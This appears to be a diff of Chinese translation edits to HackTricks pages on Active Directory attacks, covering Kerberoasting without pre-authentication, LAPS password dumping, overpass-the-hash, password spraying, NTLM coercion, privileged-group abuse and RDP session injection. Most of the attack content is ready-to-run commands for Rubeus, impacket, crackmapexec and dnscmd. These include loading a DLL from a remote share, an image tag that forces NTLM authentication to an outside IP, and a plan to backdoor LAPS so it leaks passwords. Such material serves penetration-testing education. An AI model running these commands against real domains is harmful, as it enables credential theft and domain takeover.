In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT).
该技术在这篇文章中有详细解释:[Semperis 博客文章](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/)。
The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
> [!WARNING]
> 你必须提供用户列表,因为我们没有有效的账户来使用此技术查询 LDAP。
> You must provide a list of users because we don't have a valid account to query the LDAP using this technique.
#### Linux
- [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413):
```bash
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
```
#### Windows
- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139):
```bash
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
```
## 参考文献
## References
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)

View File

@ -2,13 +2,14 @@
{{#include ../../banners/hacktricks-training.md}}
## Introduction
Kerberos "Double Hop" 问题出现在攻击者试图在两个跳跃中使用 **Kerberos 认证** 时,例如使用 **PowerShell**/**WinRM**。
Kerberos "Double Hop" 问题出现在攻击者试图在两个跳之间使用 **Kerberos 认证** 时,例如使用 **PowerShell**/**WinRM**。
当通过 **Kerberos** 进行 **认证** 时,**凭据** **不会** 被缓存到 **内存** 中。因此,如果你运行 mimikatz**不会找到用户的凭据** 在机器上,即使他正在运行进程
当通过 **Kerberos** 进行 **认证** 时,**凭据** **不会** 被缓存到 **内存** 中。因此,即使用户正在运行进程,运行 mimikatz 时也 **找不到用户的凭据**
这是因为在使用 Kerberos 连接时,步骤如下:
这是因为连接 Kerberos 时的步骤如下:
1. User1 提供凭据,**域控制器** 返回一个 Kerberos **TGT** 给 User1。
2. User1 使用 **TGT** 请求一个 **服务票据****连接** 到 Server1。
@ -17,27 +18,27 @@ Kerberos "Double Hop" 问题出现在攻击者试图在两个跳跃中使用 **K
### Unconstrained Delegation
如果 PC 上启用了 **unconstrained delegation**,则不会发生这种情况,因为 **Server****获取** 每个访问它的用户的 **TGT**。此外,如果使用了不受限制的委托,你可能可以 **从中妥协域控制器**。\
[**更多信息请参见不受限制的委托页面**](unconstrained-delegation.md)。
如果 PC 上启用了 **unconstrained delegation**,则不会发生这种情况,因为 **Server****获取** 每个访问它的用户的 **TGT**。此外,如果使用了 unconstrained delegation可能可以 **从中妥协域控制器**。\
[**更多信息请参见 unconstrained delegation 页面**](unconstrained-delegation.md)。
### CredSSP
另一种避免此问题的方法是 [**显著不安全**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) 的 **凭据安全支持提供程序**。来自微软的说明:
另一种避免此问题的方法是 [**显著不安全**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) 的 **Credential Security Support Provider**。来自 Microsoft 的说明:
> CredSSP 认证将用户凭据从本地计算机委托到远程计算机。这种做法增加了远程操作的安全风险。如果远程计算机被攻破,当凭据被传递给它时,这些凭据可以用于控制网络会话。
> CredSSP 认证将用户凭据从本地计算机委托到远程计算机。这种做法增加了远程操作的安全风险。如果远程计算机被攻陷,当凭据被传递给它时,这些凭据可以用来控制网络会话。
由于安全问题,强烈建议在生产系统、敏感网络和类似环境中禁用 **CredSSP**。要确定 **CredSSP** 是否启用,可以运行 `Get-WSManCredSSP` 命令。此命令允许 **检查 CredSSP 状态**,并且可以在启用 **WinRM** 的情况下远程执行。
```powershell
```bash
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
}
```
## 解决方法
## Workarounds
### Invoke Command
为了解决双跳问题,提出了一种涉及嵌套 `Invoke-Command` 的方法。这并不能直接解决问题,但提供了一种无需特殊配置的变通方法。该方法允许通过从初始攻击机器执行的 PowerShell 命令或通过与第一服务器之前建立的 PS-Session在辅助服务器上执行命令(`hostname`)。以下是具体操作步骤:
```powershell
为了解决双跳问题,提出了一种涉及嵌套 `Invoke-Command` 的方法。这并不能直接解决问题,但提供了一种无需特殊配置的变通方法。该方法允许通过从初始攻击机器执行的 PowerShell 命令或通过与第一台服务器之前建立的 PS-Session在第二台服务器上执行命令(`hostname`)。以下是具体操作步骤:
```bash
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
@ -47,8 +48,8 @@ Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
### 注册 PSSession 配置
绕过双跳问题的解决方案涉及使用 `Register-PSSessionConfiguration``Enter-PSSession`这种方法需要与 `evil-winrm` 不同的方法,并允许一个不受双跳限制的会话。
```powershell
绕过双跳问题的解决方案涉及使用 `Register-PSSessionConfiguration``Enter-PSSession`此方法需要与 `evil-winrm` 不同的方法,并允许创建不受双跳限制的会话。
```bash
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
@ -63,7 +64,7 @@ netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP lo
```
#### winrs.exe
`winrs.exe` 可用于转发 WinRM 请求,如果 PowerShell 监控是一个问题,可能是一个不太容易被检测到的选项。下面的命令演示了它的用法:
`winrs.exe` 可用于转发 WinRM 请求,如果 PowerShell 监控是一个问题,可能是一个不太容易被检测到的选项。下面的命令演示了它的用法:
```bash
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```

View File

@ -5,7 +5,7 @@
## 基本信息
Local Administrator Password Solution (LAPS) 是一个用于管理系统的工具,其中 **管理员密码****唯一的、随机生成的,并且经常更改**,应用于域加入的计算机。这些密码安全地存储在 Active Directory 中,仅对通过访问控制列表 (ACL) 授予权限的用户可访问。通过使用 **Kerberos 版本 5****高级加密标准 (AES)** 确保从客户端到服务器的密码传输安全
Local Administrator Password Solution (LAPS) 是一个用于管理系统的工具,其中 **管理员密码****唯一的、随机生成的,并且经常更改**,应用于域加入的计算机。这些密码安全地存储在 Active Directory 中,仅对通过访问控制列表 (ACL) 授予权限的用户可访问。客户端到服务器的密码传输安全性通过使用 **Kerberos 版本 5****高级加密标准 (AES)** 得到保障
在域的计算机对象中LAPS 的实施导致添加两个新属性:**`ms-mcs-AdmPwd`** 和 **`ms-mcs-AdmPwdExpirationTime`**。这些属性分别存储 **明文管理员密码****其过期时间**
@ -24,10 +24,10 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
```
### LAPS 密码访问
您可以从 `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` **下载原始 LAPS 策略**,然后使用 [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) 包中的 **`Parse-PolFile`** 将此文件转换为人类可读的格式。
您可以 **下载原始 LAPS 策略** `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol`,然后使用 **`Parse-PolFile`** 来自 [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) 包可以将此文件转换为人类可读的格式。
此外,如果在我们可以访问的机器上安装了 **本地 LAPS PowerShell cmdlets**,也可以使用它们:
```powershell
```bash
Get-Command *AdmPwd*
CommandType Name Version Source
@ -48,7 +48,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
```
**PowerView** 还可以用来找出 **谁可以读取密码并读取它**
```powershell
```bash
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
@ -57,10 +57,10 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
```
### LAPSToolkit
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) 通过多个功能促进了 LAPS 的枚举。\
The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) 通过多个功能促进了 LAPS 的枚举。\
其中之一是解析 **`ExtendedRights`** 以获取 **所有启用 LAPS 的计算机。** 这将显示 **专门被委派读取 LAPS 密码的组,** 这些组通常是受保护组中的用户。\
一个 **已将计算机** 加入域的 **帐户** 会获得该主机的 `All Extended Rights`,而这个权限赋予 **帐户** 读取 **密码** 的能力。枚举可能显示一个可以在主机上读取 LAPS 密码的用户帐户。这可以帮助我们 **针对特定的 AD 用户**,他们可以读取 LAPS 密码。
```powershell
一个 **已将计算机** 加入域的 **帐户** 在该主机上获得 `All Extended Rights`,而这个权限赋予 **帐户** 读取 **密码** 的能力。枚举可能显示一个可以在主机上读取 LAPS 密码的用户帐户。这可以帮助我们 **针对特定的 AD 用户**,他们可以读取 LAPS 密码。
```bash
# Get groups that can read passwords
Find-LAPSDelegatedGroups
@ -83,9 +83,9 @@ ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
```
## **通过 Crackmapexec 转储 LAPS 密码**
## **Dumping LAPS Passwords With Crackmapexec**
如果无法访问 PowerShell您可以通过 LDAP 远程滥用此权限。
如果没有访问权限到 powershell您可以通过 LDAP 远程滥用此权限。
```
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
```
@ -104,7 +104,7 @@ Password: 2Z@Ae)7!{9#Cq
### **到期日期**
一旦成为管理员,可以通过**将到期日期设置为未来**来**获取密码**并**防止**机器**更新**其**密码**。
```powershell
```bash
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
@ -113,13 +113,13 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```
> [!WARNING]
> 如果 **admin** 使用 **`Reset-AdmPwdPassword`** cmdlet或者在 LAPS GPO 中启用了 **Do not allow password expiration time longer than required by policy**,密码仍然会被重置。
> 如果**管理员**使用**`Reset-AdmPwdPassword`** cmdlet或者在LAPS GPO中启用了**不允许密码过期时间超过政策要求**,密码仍然会被重置。
### 后门
LAPS 的原始源代码可以在 [这里](https://github.com/GreyCorbel/admpwd) 找到,因此可以在代码中放置一个后门(例如在 `Main/AdmPwd.PS/Main.cs` 中的 `Get-AdmPwdPassword` 方法内),以某种方式 **外泄新密码或将其存储在某处**
LAPS的原始源代码可以在[这里](https://github.com/GreyCorbel/admpwd)找到,因此可以在代码中放置后门(例如在`Main/AdmPwd.PS/Main.cs`中的`Get-AdmPwdPassword`方法内),以某种方式**外泄新密码或将其存储在某处**。
然后,只需编译新的 `AdmPwd.PS.dll` 并将其上传到机器中的 `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll`(并更改修改时间)。
然后,只需编译新的`AdmPwd.PS.dll`并将其上传到`C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll`(并更改修改时间)。
## 参考

View File

@ -7,7 +7,7 @@
**Overpass The Hash/Pass The Key (PTK)** 攻击旨在传统 NTLM 协议受到限制且 Kerberos 认证占主导地位的环境中。此攻击利用用户的 NTLM 哈希或 AES 密钥来请求 Kerberos 票证,从而实现对网络内资源的未经授权访问。
要执行此攻击,第一步涉及获取目标用户帐户的 NTLM 哈希或密码。获得此信息后,可以为该帐户获取票证授予票证 (TGT)使攻击者能够访问用户拥有权限的服务或机器。
要执行此攻击,第一步涉及获取目标用户帐户的 NTLM 哈希或密码。获得此信息后,可以为该帐户获取票证授予票证 (TGT)允许攻击者访问用户拥有权限的服务或机器。
该过程可以通过以下命令启动:
```bash
@ -24,15 +24,22 @@ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
```
该方法镜像了 **Pass the Key** 方法重点在于直接控制和利用票证进行身份验证。需要注意的是TGT 请求的发起会触发事件 `4768: A Kerberos authentication ticket (TGT) was requested`,这表明默认使用 RC4-HMAC尽管现代 Windows 系统更倾向于使用 AES256。
此方法与 **Pass the Key** 方法相似重点在于直接控制和利用票证进行身份验证。需要注意的是TGT 请求的发起会触发事件 `4768: A Kerberos authentication ticket (TGT) was requested`,这表明默认使用 RC4-HMAC尽管现代 Windows 系统更倾向于使用 AES256。
为了符合操作安全并使用 AES256可以应用以下命令
```bash
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
```
## 更隐蔽的版本
> [!WARNING]
> 每个登录会话一次只能有一个活动的 TGT因此请小心。
1. 使用 Cobalt Strike 的 **`make_token`** 创建一个新的登录会话。
2. 然后,使用 Rubeus 为新的登录会话生成一个 TGT而不影响现有的会话。
## 参考
- [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## **密码喷洒**
一旦你找到了几个 **有效的用户名**,你可以尝试最 **常见的密码**(请记住环境的密码策略)与每个发现的用户。\
@ -51,7 +50,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- 使用 [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - 不推荐,有时无法正常工作
- 使用 [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - 不推荐,有时不起作用
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@ -67,9 +66,9 @@ for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done
```
#### 从Windows
#### 从 Windows
- 使用带有暴力模块的[Rubeus](https://github.com/Zer1t0/Rubeus)版本:
- 使用带有暴力模块的 [Rubeus](https://github.com/Zer1t0/Rubeus) 版本:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -78,7 +77,7 @@ done
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)(它可以默认从域中生成用户,并将从域中获取密码策略,并根据该策略限制尝试次数):
```powershell
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
- 使用 [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
@ -91,7 +90,7 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
```
## Outlook Web Access
有多种工具可以进行**密码喷洒 Outlook**。
有多种工具用于**密码喷洒 Outlook**。
- 使用 [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- 使用 [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)

View File

@ -8,23 +8,23 @@
## 打印机后台处理程序服务滥用
如果 _**打印机后台处理程序**_ 服务 **启用**,您可以使用一些已知的 AD 凭据向域控制器的打印服务器 **请求** 新打印作业的 **更新**,并告诉它 **将通知发送到某个系统**。\
请注意,当打印机将通知发送到任意系统时,它需要 **对该系统进行认证**。因此,攻击者可以使 _**打印机后台处理程序**_ 服务对任意系统进行认证,而该服务将在此认证中 **使用计算机账户**
如果 _**Print Spooler**_ 服务 **启用**,您可以使用一些已知的 AD 凭据 **请求** 域控制器的打印服务器更新新打印作业,并告诉它 **将通知发送到某个系统**。\
请注意,当打印机将通知发送到任意系统时,它需要 **对该系统进行认证**。因此,攻击者可以使 _**Print Spooler**_ 服务对任意系统进行认证,并且该服务将在此认证中 **使用计算机账户**
### 在域中查找 Windows 服务器
使用 PowerShell 获取 Windows 计算机的列表。服务器通常是优先考虑的,因此我们将重点放在这里:
使用 PowerShell,获取 Windows 机器的列表。服务器通常是优先考虑的,因此我们将重点放在这里:
```bash
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
```
### 查找监听的Spooler服务
使用稍微修改过的@mysmartloginVincent Le Toux [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket)查看Spooler服务是否在监听
使用稍微修改过的@mysmartloginVincent Le Toux的[SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket)查看Spooler服务是否在监听
```bash
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
```
您还可以在Linux上使用rpcdump.py并查找MS-RPRN协议。
您还可以在 Linux 上使用 rpcdump.py 并查找 MS-RPRN 协议。
```bash
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
```
@ -53,11 +53,11 @@ https://github.com/p0dalirius/Coercer
`PrivExchange`攻击是由于**Exchange Server `PushSubscription`功能**中的一个缺陷。该功能允许任何具有邮箱的域用户强制Exchange服务器通过HTTP对任何客户端提供的主机进行身份验证。
默认情况下,**Exchange服务以SYSTEM身份运行**并被赋予过多的权限具体来说它在2019年之前的累积更新上具有**WriteDacl权限**)。这个缺陷可以被利用来启用**向LDAP中转信息并随后提取域NTDS数据库**。在无法向LDAP中转的情况下这个缺陷仍然可以用于在域内中转和对其他主机进行身份验证。成功利用此攻击将立即授予任何经过身份验证的域用户账户对域管理员的访问权限。
默认情况下,**Exchange服务以SYSTEM身份运行**并被赋予过多的权限具体来说它在2019年之前的累积更新上具有**WriteDacl权限**)。这个缺陷可以被利用来启用**向LDAP中转信息并随后提取域NTDS数据库**。在无法向LDAP中转的情况下这个缺陷仍然可以用于在域内对其他主机进行中转和身份验证。成功利用此攻击将立即授予任何经过身份验证的域用户账户对域管理员的访问权限。
## 在Windows内部
如果您已经在Windows机器内部可以使用以下方法强制Windows使用特权账户连接到服务器
如果您已经在Windows机器内部可以使用特权账户强制Windows连接到服务器方法是
### Defender MpCmdRun
```bash
@ -102,9 +102,15 @@ certutil.exe -syncwithWU \\127.0.0.1\share
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
## 其他强制和钓鱼 NTLM 认证的方法
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## 破解 NTLMv1
如果你能捕获 [NTLMv1 挑战,请阅读如何破解它们](../ntlm/index.html#ntlmv1-attack)。\
_请记住为了破解 NTLMv1你需要将 Responder 挑战设置为 "1122334455667788"_
_请记住破解 NTLMv1你需要将 Responder 挑战设置为 "1122334455667788"_
{{#include ../../banners/hacktricks-training.md}}

View File

@ -10,10 +10,10 @@
## 账户操作员
该组有权创建不是域管理员的账户和组。此外,它还允许在域控制器DC上进行本地登录
该组有权创建不是域管理员的账户和组。此外,它还允许本地登录到域控制器DC
要识别该组的成员,可以执行以下命令:
```powershell
```bash
Get-NetGroupMember -Identity "Account Operators" -Recurse
```
添加新用户是被允许的,同时也可以在 DC01 上进行本地登录。
@ -25,39 +25,39 @@ Get-NetGroupMember -Identity "Account Operators" -Recurse
攻击者可以通过修改 **AdminSDHolder** 组的 ACL 来利用这一点,向标准用户授予完全权限。这将有效地使该用户对所有受保护组拥有完全控制权。如果该用户的权限被更改或移除,由于系统的设计,他们将在一小时内自动恢复。
查看成员和修改权限的命令包括:
```powershell
```bash
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
```
可以使用脚本来加快恢复过程[Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1)。
可以使用脚本来加快恢复过程: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1)。
有关更多详细信息,请访问 [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence)。
## AD 回收站
加入此组可以读取已删除的 Active Directory 对象,这可能会揭示敏感信息:
该组的成员资格允许读取已删除的 Active Directory 对象,这可能会揭示敏感信息:
```bash
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
### 域控制器访问
除非用户是 `Server Operators` 组的一部分,否则对 DC 上文件的访问是受限的,这会改变访问级别。
对 DC 上文件的访问受到限制,除非用户是 `Server Operators` 组的一部分,这会改变访问级别。
### 权限提升
使用 Sysinternals 的 `PsService``sc`,可以检查和修改服务权限。例如,`Server Operators` 组对某些服务拥有完全控制权,从而允许执行任意命令和权限提升:
使用 Sysinternals 的 `PsService``sc`,可以检查和修改服务权限。例如,`Server Operators` 组对某些服务拥有完全控制权,允许执行任意命令和权限提升:
```cmd
C:\> .\PsService.exe security AppReadiness
```
此命令显示 `Server Operators` 拥有完全访问权限,允许操纵服务以获提升的权限。
此命令显示 `Server Operators` 拥有完全访问权限,允许操纵服务以获提升的权限。
## 备份操作员
## Backup Operators
加入 `Backup Operators` 组提供对 `DC01` 文件系统的访问权限,因为拥有 `SeBackup``SeRestore` 权限。这些权限使得文件夹遍历、列出和文件复制成为可能,即使没有明确的权限,也可以使用 `FILE_FLAG_BACKUP_SEMANTICS` 标志。此过程需要使用特定的脚本。
加入 `Backup Operators` 组提供对 `DC01` 文件系统的访问权限,因其拥有 `SeBackup``SeRestore` 权限。这些权限使得即使没有明确的权限,也能进行文件夹遍历、列出和复制文件的操作,使用 `FILE_FLAG_BACKUP_SEMANTICS` 标志。此过程需要使用特定的脚本。
要列出组成员,请执行:
```powershell
```bash
Get-NetGroupMember -Identity "Backup Operators" -Recurse
```
### 本地攻击
@ -85,7 +85,7 @@ Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Over
#### 使用 diskshadow.exe
1. 创建 `C` 盘的影副本:
1. 创建 `C` 盘的影副本:
```cmd
diskshadow.exe
set verbose on
@ -117,7 +117,7 @@ secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```
#### 使用 wbadmin.exe
1. 在攻击者机器上设置 NTFS 文件系统以供 SMB 服务器使用,并在目标机器上缓存 SMB 凭据。
1. 在攻击者机器上设置 NTFS 文件系统以用于 SMB 服务器,并在目标机器上缓存 SMB 凭据。
2. 使用 `wbadmin.exe` 进行系统备份和 `NTDS.dit` 提取:
```cmd
net use X: \\<AttackIP>\sharename /user:smbuser password
@ -130,16 +130,16 @@ echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\
## DnsAdmins
**DnsAdmins** 组的成员可以利用他们的特权在 DNS 服务器上加载任意 DLL通常托管在域控制器上具有 SYSTEM 特权。这种能力允许显著的利用潜力。
**DnsAdmins** 组的成员可以利用他们的特权在 DNS 服务器上加载具有 SYSTEM 权限的任意 DLL通常托管在域控制器上。此能力允许显著的利用潜力。
要列出 DnsAdmins 组的成员,请使用:
```powershell
```bash
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
```
### 执行任意 DLL
成员可以使用以下命令使 DNS 服务器加载任意 DLL无论是本地的还是来自远程共享的
```powershell
```bash
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
@ -175,15 +175,15 @@ DnsAdmins 可以操纵 DNS 记录,通过在禁用全局查询阻止列表后
### 事件日志读取器
成员可以访问事件日志,可能会找到敏感信息,例如明文密码或命令执行详细信息:
```powershell
```bash
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
```
## Exchange Windows 权限
## Exchange Windows Permissions
该组可以修改域对象上的 DACL可能授予 DCSync 权限。利用该组进行权限提升的技术详见 Exchange-AD-Privesc GitHub 仓库
```powershell
该组可以修改域对象上的 DACL可能授予 DCSync 权限。利用该组进行特权升级的技术在 Exchange-AD-Privesc GitHub 仓库中有详细说明
```bash
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
```
@ -203,7 +203,7 @@ sc.exe start MozillaMaintenance
## 组织管理
在部署了**Microsoft Exchange**的环境中,一个特殊的组称为**组织管理**,拥有重要的能力。该组有权**访问所有域用户的邮箱**并对“Microsoft Exchange安全组”组织单位OU拥有**完全控制权**。这种控制包括**`Exchange Windows Permissions`**组,可以被利用进行权限提升。
在部署了**Microsoft Exchange**的环境中,一个特殊的组称为**组织管理**,拥有重要的能力。该组有权**访问所有域用户的邮箱**并对“Microsoft Exchange安全组”组织单位OU拥有**完全控制权**。这种控制包括**`Exchange Windows Permissions`**组,该组可以被利用进行权限提升。
### 权限利用和命令
@ -212,7 +212,7 @@ sc.exe start MozillaMaintenance
**打印操作员**组的成员被赋予多个权限,包括**`SeLoadDriverPrivilege`**,允许他们**在域控制器上本地登录**、关闭它并管理打印机。为了利用这些权限,特别是当**`SeLoadDriverPrivilege`**在未提升的上下文中不可见时必须绕过用户帐户控制UAC
要列出该组的成员可以使用以下PowerShell命令
```powershell
```bash
Get-NetGroupMember -Identity "Print Operators" -Recurse
```
有关**`SeLoadDriverPrivilege`**的更详细利用技术,应该查阅特定的安全资源。
@ -220,16 +220,16 @@ Get-NetGroupMember -Identity "Print Operators" -Recurse
#### 远程桌面用户
该组的成员通过远程桌面协议RDP获得对PC的访问权限。要枚举这些成员可以使用PowerShell命令
```powershell
```bash
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
```
进一步了解利用 RDP 的信息可以在专门的渗透测试资源中找到。
进一步的关于利用 RDP 的见解可以在专门的渗透测试资源中找到。
#### 远程管理用户
成员可以通过 **Windows 远程管理 (WinRM)** 访问 PC。通过以下方式枚举这些成员
```powershell
```bash
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
```
@ -237,11 +237,11 @@ Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Us
#### 服务器操作员
该组具有在域控制器上执行各种配置的权限,包括备份和恢复权限、改变系统时间和关闭系统。要枚举成员,可以使用以下命令:
```powershell
该组具有在域控制器上执行各种配置的权限,包括备份和恢复权限、改变系统时间以及关闭系统。要列举成员,可以使用以下命令:
```bash
Get-NetGroupMember -Identity "Server Operators" -Recurse
```
## 参考文献 <a href="#references" id="references"></a>
## References <a href="#references" id="references"></a>
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
- [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)

View File

@ -2,12 +2,12 @@
{{#include ../../banners/hacktricks-training.md}}
## RDP 进程注入
## RDP Process Injection
如果 **外部组** 对当前域中的任何 **计算机** 具有 **RDP 访问权限**,则 **攻击者** 可以 **入侵该计算机并等待他**
如果**外部组**对当前域中的任何**计算机**具有**RDP访问权限**,则**攻击者**可以**入侵该计算机并等待他**。
一旦该用户通过 RDP 访问,**攻击者可以转移到该用户的会话** 并滥用其在外部域中的权限。
```powershell
一旦该用户通过RDP访问**攻击者可以转移到该用户的会话**并滥用其在外部域中的权限。
```bash
# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
@ -36,8 +36,8 @@ beacon> inject 4960 x64 tcp-local
如果用户通过 **RDP 访问一台机器**,而 **攻击者** 正在 **等待** 他,攻击者将能够 **在用户的 RDP 会话中注入一个信标**,如果 **受害者在通过 RDP 访问时挂载了他的驱动器****攻击者可以访问它**。
